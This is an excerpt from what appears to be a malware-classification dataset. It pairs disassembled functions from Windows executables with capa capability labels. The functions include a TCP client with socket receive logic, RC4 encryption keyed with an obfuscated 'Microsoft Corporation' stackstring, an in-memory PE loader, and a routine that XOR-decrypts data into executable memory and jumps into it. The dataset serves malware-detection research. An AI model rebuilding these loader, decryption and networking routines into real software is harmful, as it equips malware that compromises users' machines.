joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000183f
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x358
and byte [ebp - 0x358], 0
push ebx
push esi
push edi
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x357]
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.WS2_32.dll_recv]
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
push 0
lea eax, [ebp - 1]
push 1
push eax
push dword [ebp + 8]
call esi
test eax, eax
jle 0x10001998
movsx eax, byte [ebp - 1]
push eax
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x358]
push str._s_c
push eax
inc edi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
cmp edi, 4
jle 0x1000186a
push 4
lea eax, [ebp + edi - 0x35c]
push str._r_n_r_n
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x1000186a
lea eax, [ebp - 0x358]
push edi
push eax
call fcn.10002824
and byte [ebp - 0x54], 0
pop ecx
pop ecx
mov ebx, eax
push 0xf
xor eax, eax
pop ecx
lea edi, [ebp - 0x53]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp ebx, 0x28
stosb byte es:[edi], al
jl 0x10001998
push 0x20
call dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
lea eax, [ebp - 0x54]
push edi
push 0x20
push eax
push dword [ebp + 8]
call esi
test eax, eax
jle 0x10001998
mov eax, dword [ebp + 0xc]
add ebx, 0xffffffe0
cmp ebx, edi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], eax
jle 0x10001998
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], 0x1e
mov dword [ebp - 0x154], eax
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0x158]
push edi
push eax
push edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x158], 1
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x1000196d
push edi
push ebx
push dword [ebp - 8]
push dword [ebp + 8]
call esi
cmp eax, 0xffffffff
je 0x10001998
cmp eax, edi
je 0x10001970
add dword [ebp - 8], eax
sub ebx, eax
cmp ebx, edi
jg 0x1000191a
jmp 0x10001970
or eax, 0xffffffff
cmp eax, 0xffffffff
je 0x10001998
cmp eax, edi
je 0x10001998
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x54]
push esi
push dword [ebp + 0xc]
push 0x20
push eax
call fcn.10002678
mov eax, dword [ebp + 0x10]
add esp, 0x10
push 1
mov dword [eax], esi
pop eax
jmp 0x100019a3
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100019a8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8360
call fcn.100029f0
push ebx
push esi
push edi
push 0xf
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x5b]
mov byte [ebp - 0x5c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x5c]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x10001b3a
push dword [ebp + 0xc]
mov word [ebp - 0x1c], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x1c]
push 0x10
push eax
push esi
mov dword [ebp - 0x18], edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x10001b3a
lea eax, [ebp + 0xb]
push 1
push eax
push 0xffffff7f
push 0xffff
push esi
mov byte [ebp + 0xb], bl
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, 0x1fff
xor eax, eax
lea edi, [ebp - 0x835f]
mov byte [ebp - 0x8360], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x8000
lea eax, [ebp - 0x8360]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 0x10]
lea eax, [ebp - 0x8360]
push eax
push esi
call fcn.10001e4b
push ebx
push 0x10001
push dword [ebp + 0x10]
lea eax, [ebp - 0x8360]
push 0x434
push eax
push 0xf
push esi
call fcn.100016e5
add esp, 0x34
test eax, eax
je 0x10001b28
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x35f]
mov byte [ebp - 0x360], bl
push 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop edi
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x160]
push ebx
push eax
push ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], 0x3c
mov dword [ebp - 8], ebx
mov dword [ebp - 0x15c], esi
mov dword [ebp - 0x160], edi
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x10001b28
lea eax, [ebp - 0x160]
push eax
push esi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10001b33
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x360]
push eax
push esi
call fcn.1000183f
add esp, 0xc
test eax, eax
je 0x10001b28
cmp dword [ebp - 0x360], 0x26
jne 0x10001b1f
mov ebx, edi
jmp 0x10001b28
push 2
push esi
call dword [sym.imp.WS2_32.dll_shutdown]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, ebx
jmp 0x10001b3c
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001b41
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
and byte [ebp - 0x50], 0
push ebx
push esi
push edi
push 0xf
xor eax, eax
pop ecx
lea edi, [ebp - 0x4f]
mov esi, dword [ebp + 0x14]
rep stosd dword es:[edi], eax
cmp dword [esi + 0x288], 0xfacdeadc
stosw word es:[edi], ax
stosb byte es:[edi], al
jne 0x10001b79
mov eax, dword [esi + 0x280]
mov bx, word [esi + 0x284]
jmp 0x10001b86
mov eax, dword [esi + 0x200]
mov bx, word [esi + 0x204]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x50]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
or eax, 0xffffffff
cmp edi, eax
je 0x10001c24
push ebx
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x10001c1d
and byte [ebp + 0x17], 0
lea eax, [ebp + 0x17]
push 1
push eax
push 0xffffff7f
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call fcn.100016e5
add esp, 0x1c
test eax, eax
jne 0x10001c22
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x10001c24
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002108
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push esi
xor esi, esi
push eax
push 1
push esi
push str.HardwareDescriptionSystemCentralProcessor0
push getsockname
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10002133
xor eax, eax
jmp 0x10002161
lea eax, [ebp - 0xc]
mov dword [ebp - 8], esi
push eax
lea eax, [ebp - 8]
push eax
push esi
push esi
push str.MHz
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10002155
mov dword [ebp - 8], esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
pop esi
leave
ret

Function at 0x10002164
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x10002273
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x10002273
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x100021bc
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x10002273
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.10002281
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x1000223e
push eax
push edi
call fcn.100023f0
pop ecx
pop ecx
push edi
call fcn.1000246a
test eax, eax
pop ecx
je 0x1000226c
push edi
call fcn.1000232e
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x1000227a
add eax, ebx
test eax, eax
je 0x1000226c
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x10002277
push edi
call fcn.100025f1
pop ecx
xor eax, eax
jmp 0x1000227c
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002281
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x1000232b
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x100022ec
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x10002315
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
jmp 0x10002315
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x100022ba
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10002678
Capabilities:
Check for time delay via gettickcount
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
call fcn.1000266a
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
jl 0x100027d1
mov esi, 0x100
cmp dword [ebp + 0xc], esi
jle 0x100026a0
mov dword [ebp + 0xc], esi
cmp dword [ebp + 0x10], ebx
je 0x100027d1
cmp dword [ebp + 0x14], 1
jl 0x100027d1
and byte [ebp - 0x108], 0
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.1000266a
mov byte [ebp + ebx - 0x108], bl
inc ebx
cmp ebx, esi
jl 0x100026cb
and byte [ebp - 1], 0
and byte [ebp - 2], 0
and dword [ebp - 8], 0
call fcn.1000266a
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov bl, byte [ebp + eax - 0x108]
lea esi, [ebp + eax - 0x108]
movzx eax, byte [ebp - 1]
mov al, byte [eax + ecx]
add al, bl
add byte [ebp - 2], al
call fcn.1000266a
call fcn.1000266a
movzx eax, byte [ebp - 2]
lea edi, [ebp + eax - 0x108]
mov al, byte [ebp + eax - 0x108]
mov byte [esi], al
call fcn.1000266a
mov byte [edi], bl
call fcn.1000266a
mov al, byte [ebp - 1]
inc al
movzx eax, al
cdq
idiv dword [ebp + 0xc]
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x100
mov byte [ebp - 1], dl
jl 0x100026e8
and byte [ebp + 0xf], 0
and byte [ebp + 0xb], 0
and dword [ebp - 8], 0
cmp dword [ebp + 0x14], 0
jle 0x100027cb
inc byte [ebp + 0xf]
movzx eax, byte [ebp + 0xf]
mov bl, byte [ebp + eax - 0x108]
add byte [ebp + 0xb], bl
lea esi, [ebp + eax - 0x108]
call fcn.1000266a
call fcn.1000266a
movzx eax, byte [ebp + 0xb]
lea edi, [ebp + eax - 0x108]
mov al, byte [ebp + eax - 0x108]
mov byte [esi], al
call fcn.1000266a
mov byte [edi], bl
call fcn.1000266a
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0x10]
lea edi, [eax + ecx]
mov cl, byte [esi]
add ecx, ebx
and ecx, 0xff
mov cl, byte [ebp + ecx - 0x108]
xor byte [edi], cl
inc eax
cmp eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
jl 0x10002764
push 1
pop eax
pop edi
jmp 0x100027d8
call fcn.1000266a
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x100028d7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, 0x100
cmp ebx, esi
jg 0x100028f5
xor eax, eax
jmp 0x100029bc
and byte [ebp - 3], 0
and byte [ebp - 2], 0
lea eax, [ebp - 0x18]
push edi
push eax
mov byte [ebp - 0x18], 0x4d
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x66
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], 0x20
mov byte [ebp - 0xe], 0x43
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x70
mov byte [ebp - 0xa], 0x6f
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x61
mov byte [ebp - 7], 0x74
mov byte [ebp - 6], 0x69
mov byte [ebp - 5], 0x6f
mov byte [ebp - 4], 0x6e
call dword [sym.imp.KERNEL32.dll_lstrlenA]
and byte [ebp - 0x218], 0
push 0x7f
mov dword [ebp + 0xc], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x217]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
push esi
lea eax, [ebp - 0x218]
push edi
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x218]
push esi
push eax
lea eax, [ebp - 0x18]
push dword [ebp + 0xc]
push eax
call fcn.10002678
lea eax, [ebx - 0x100]
add edi, 0x100
push eax
push edi
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.10002678
add esp, 0x2c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x416900
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0041698f
jae 0x41690e
xor ecx, ecx
call fcn.0041698f
jae 0x41693d
xor eax, eax
call fcn.0041698f
jae 0x41694d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0041698f
adc al, al
jae 0x41692f
jne 0x416979
stosb byte es:[edi], al
jmp 0x416911
call fcn.0041699b
sub ecx, ebx
jne 0x416956
call fcn.00416999
jmp 0x416975
lodsb al, byte [esi]
shr eax, 1
je 0x416983
adc ecx, ecx
jmp 0x416972
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.00416999
cmp eax, 0x7d00
jae 0x416972
cmp ah, 5
jae 0x416973
cmp eax, 0x7f
ja 0x416974
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x416911
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x408540
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x28], str.thdfjipdootni
lea ecx, [ebp - 0x60]
call fcn.004023a0
push 0x2faf080
call fcn.0040883e
add esp, 4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4085a1
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1c], ecx
jmp 0x408696
mov dword [ebp - 0x24], 0
lea edx, [ebp - 0x24]
push edx
mov eax, dword [ebp - 0xc]
add eax, 0x2faf080
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00401c20
mov dword [ebp - 8], 0
jmp 0x4085d0
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
cmp dword [ebp - 8], 0x1790
jae 0x408622
mov eax, dword [ebp - 8]
mov cl, byte [eax + section..data]
mov byte [ebp - 1], cl
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x10]
mov al, byte [edx]
mov byte [ebp - 2], al
movzx ecx, byte [ebp - 1]
sar ecx, 3
movzx edx, byte [ebp - 1]
shl edx, 5
or ecx, edx
movzx eax, byte [ebp - 2]
xor ecx, eax
mov edx, dword [ebp - 8]
mov byte [edx + section..data], cl
mov eax, dword [ebp - 0x10]
add eax, 1
cdq
mov ecx, 0xd
idiv ecx
mov dword [ebp - 0x10], edx
jmp 0x4085c7
push 0x40
push 0x3000
push 0x1790
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x18], eax
push 0x1790
push section..data
mov edx, dword [ebp - 0x18]
push edx
call fcn.0040d690
add esp, 0xc
mov eax, dword [ebp - 0x18]
jmp eax
lea ecx, [ebp - 0x60]
call fcn.004026f0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x419f8f
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42ac68]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00410287
mov dword [ebp - 0x14], eax
cmp dword [0x42d2c4], esi
jne 0x41a082
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x41a00f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41a162
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x41a162
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41a162
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x42d2c4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x42d2c8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x42d2cc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42d2d4], eax
test eax, eax
je 0x41a07f
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42d2d0], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41a0a7
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41a09a
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x41a0bc
push 4
pop eax
jmp 0x41a164
cmp dword [ebp - 0x14], esi
je 0x41a0bc
push dword [0x42d2c4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41a0a1
mov eax, dword [0x42d2d0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x41a11a
cmp dword [0x42d2d4], edi
je 0x41a11a
push eax
call ebx
push dword [0x42d2d4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41a11a
test eax, eax
je 0x41a11a
call ecx
test eax, eax
je 0x41a10f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41a10f
test byte [ebp - 8], 1
jne 0x41a11a
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x41a14a
mov eax, dword [0x42d2c8]
cmp eax, edi
je 0x41a147
push eax
call ebx
test eax, eax
je 0x41a147
call eax
mov esi, eax
test esi, esi
je 0x41a147
mov eax, dword [0x42d2cc]
cmp eax, edi
je 0x41a147
push eax
call ebx
test eax, eax
je 0x41a147
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x42d2c4]
call ebx
test eax, eax
je 0x41a162
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x41a164
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ef9b
mov esp, ebp
pop ebp
ret
Function at 0x401465
Capabilities:
Encode data using xor

Disassembly:
jmp 0x418f56
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x419021
push ebx
push ebp
push edi
mov edi, dword [esp + 0x14]
mov ebx, str.1110
mov ebp, 0x751298
push ebx
push ebp
call fcn.004032a6
push eax
call fcn.00406ff5
xor byte [esi + edi], 0x33
push ebx
push ebp
call fcn.004032a6
push eax
call fcn.00406ff5
add byte [esi + edi], 0x4b
push ebx
push ebp
call fcn.004032a6
push eax
call fcn.00406ff5
add byte [esi + edi], 0xa7
push ebx
push ebp
call fcn.004032a6
push eax
call fcn.00406ff5
xor byte [esi + edi], 0x13
push ebx
push ebp
call fcn.004032a6
push eax
call fcn.00406ff5
add byte [esi + edi], 0x19
push ebx
push ebp
call fcn.004032a6
add esp, 0x44
push eax
call fcn.00406ff5
add byte [esi + edi], 0xde
push ebx
push ebp
call fcn.004032a6
push eax
call fcn.00406ff5
add byte [esi + edi], 0x90
push ebx
push ebp
call fcn.004032a6
push eax
call fcn.00406ff5
add byte [esi + edi], 0x20
push ebx
push ebp
call fcn.004032a6
push eax
call fcn.00406ff5
xor byte [esi + edi], 0xd3
add esp, 0x28
inc esi
cmp esi, dword [esp + 0x18]
jb 0x418f74
pop edi
pop ebp
pop ebx
pop esi
ret

Function at 0x403c7e
Capabilities:
Terminate process

Disassembly:
jmp 0x45aa49
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x45aa5a
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.0040665e
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x403e09
Capabilities:
Query environment variable

Disassembly:
jmp 0x4a45a2
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4a45b3
pop esi
ret
push ebx
push edi
push esi
call fcn.004a4489
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0040488b
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4a45db
push ebx
push esi
push edi
call fcn.004063fc
add esp, 0xc
push 0
call fcn.00407185
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x4064d3
Capabilities:
Parse pe header

Disassembly:
jmp 0x44987f
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4498be
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4498be
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4498be
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4498be
cmp dword [ecx + 0x74], 0xe
jbe 0x4498be
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret